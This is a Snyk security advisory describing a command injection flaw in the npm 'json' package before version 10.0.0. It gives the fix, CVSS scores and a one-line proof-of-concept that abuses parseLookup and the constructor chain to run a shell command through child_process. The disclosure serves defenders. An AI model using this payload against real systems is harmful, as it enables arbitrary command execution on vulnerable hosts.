Command Injection Affecting json package, versions <10.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    1.6% (88th percentile)

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  • Snyk ID SNYK-JS-JSON-597481
  • published 30 Aug 2020
  • disclosed 6 Aug 2020
  • credit po6ix

How to fix?

Upgrade json to version 10.0.0 or higher.

Overview

json is a 'json' command tool for massaging and processing JSON on the command line.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbritary commands using the parseLookup function.

PoC

const json = require('json');

res = json.parseLookup('{[this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()]}'); console.log(res);

References

CVSS Scores

version 3.1
Expand this section

Snyk

7.2 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    High
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

7.2 high